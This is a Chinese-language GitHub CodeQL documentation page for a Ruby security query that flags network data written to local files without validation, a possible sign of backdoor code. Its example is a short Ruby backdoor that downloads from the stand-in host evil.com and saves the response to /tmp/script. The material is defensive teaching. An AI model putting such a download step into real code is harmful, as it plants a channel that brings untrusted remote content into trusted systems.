CodeQL 文档

写入文件的网络数据

ID: rb/http-to-file-access
Kind: path-problem
Security severity: 6.3
Severity: warning
Precision: medium
Tags:
   - security
   - external/cwe/cwe-912
   - external/cwe/cwe-434
Query suites:
   - ruby-security-extended.qls
   - ruby-security-and-quality.qls

单击以查看 CodeQL 仓库中的查询

在本地文件系统上存储用户控制的数据,且未进行进一步验证,这将允许任意文件上传,并且可能是恶意后门代码植入到原本可信代码库中的迹象。

建议

仔细检查突出显示的代码,以确保其按预期运行。

示例

以下示例显示了从 URL https://evil.com/script 下载数据并将其存储在本地文件 /tmp/script 中的后门代码。

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

程序的其他部分可能会假设 /tmp/script 是一个本地文件,其内容可以信任,而实际上它们是从不受信任的远程源获取的。

参考资料

  • ©GitHub, Inc.
  • 条款
  • 隐私